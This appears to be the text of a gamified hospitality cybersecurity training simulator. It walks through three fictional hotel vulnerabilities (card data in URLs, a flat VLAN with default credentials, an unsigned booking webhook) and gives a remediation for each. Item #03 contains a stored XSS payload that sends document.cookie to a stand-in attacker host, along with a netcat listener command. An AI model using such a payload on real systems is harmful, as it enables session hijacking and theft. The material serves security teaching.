hospitality_security_simulator

[#] BWD_CYBER-RANGE :: hospitality_sector v3.2-RELOADED

root@bwd-hq:~$ ./audit --target=grand_horizon_resort --mode=offense-defense _

HACKER_RATING SCRIPT_KIDDIE

[ INTEGRITY ]

VULNERABLE (0/3)

#01 :: FRONT_DESK_PMS_API

Property Management System – check-in kiosk data pipeline. Intercepted request shows PII/PCI data in cleartext. CVSS 9.1

curl -v -X GET 'https://pms.grand-horizon.internal/api/v1/reservations/fetch' 200 OK (sniffed)

# Request captured via MITM proxy – plaintext CC data detected

GET /api/v1/reservations/fetch?guest_id=8492&admin_bypass=true&plaintext_cc=4532-8810-9321-0012&cvv=842&exp=06/28 HTTP/1.1
Host: pms.grand-horizon.internal
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

# CVSS 9.1 – PCI-DSS violation: card data in URL, IDOR via admin_bypass flag

[+] PATCH_APPLIED :: AES-256-GCM + RBAC

VULNERABILITY: Plaintext PCI/PII data in GET parameters + unauthenticated admin_bypass=true IDOR flag. Any network segment observer could harvest guest credit card numbers.

REMEDIATION: Deployed AES-256-GCM field-level encryption on payment data. Enforced RBAC with signed JWT tokens scoped to role. All sensitive params moved to encrypted POST body with PKI mutual auth.

#02 :: NETWORK_VLAN_MISCONFIG

Core switch topology – guest Wi-Fi, smart locks, and POS terminals on same broadcast domain. CVSS 8.8

ssh admin@switch-hq-core-01 'show running-config interface Gi0/1' CONSOLE_SESSION

# VLAN 1 (default) — no segmentation between guest & critical infra

interface GigabitEthernet0/1
description HOTEL_GENERAL_NETWORK
switchport mode access
switchport access vlan 1
   // GUEST_WIFI — VLAN 1
   // SMART_LOCKS — VLAN 1
   // POS_TERMINALS — VLAN 1
username admin password default_123

# CVSS 8.8 – No VLAN segmentation; default creds on admin interface

[+] PATCH_APPLIED :: ZTNA + 802.1X SEGMENTATION

VULNERABILITY: Flat Layer-2 network allowed any guest to ARP-scan and reach POS terminals, smart locks, and management interfaces. Default credentials admin:default_123 on switch.

REMEDIATION: Implemented 802.1X port-based authentication with RADIUS. Isolated Guest Wi-Fi → VLAN 40, POS → VLAN 10, Smart Locks → VLAN 20. MFA enforced on all network admin access.

#03 :: OTA_WEBHOOK_INTEGRITY

Online Travel Agency (OTA) booking webhook – no signature verification, no input sanitization. CVSS 9.0

nc -lvp 443 | tee /tmp/webhook_capture.bin RAW_DUMP

# Incoming OTA webhook — HMAC signature missing, XSS vector open

POST /webhooks/ota/booking-sync HTTP/1.1
Host: bookings.grand-horizon.internal
X-OTA-Signature: NONE
Content-Type: application/json

{
  "guest_name": "<script>fetch('http://evilsrv/harvest?c='+document.cookie)</script>",
  "room": "Presidential Suite",
  "rate": 850.00
}

# CVSS 9.0 – Stored XSS + unsigned webhook allows forged reservations

[+] PATCH_APPLIED :: HMAC-SHA256 + WAF

VULNERABILITY: Unsigned webhook payload meant anyone could forge requests. No input sanitization allowed stored XSS that would fire when front desk staff viewed the booking dashboard.

REMEDIATION: Enforced HMAC-SHA256 signature verification using pre-shared key per OTA partner. Deployed Cloudflare WAF with OWASP CRS ruleset for input sanitization.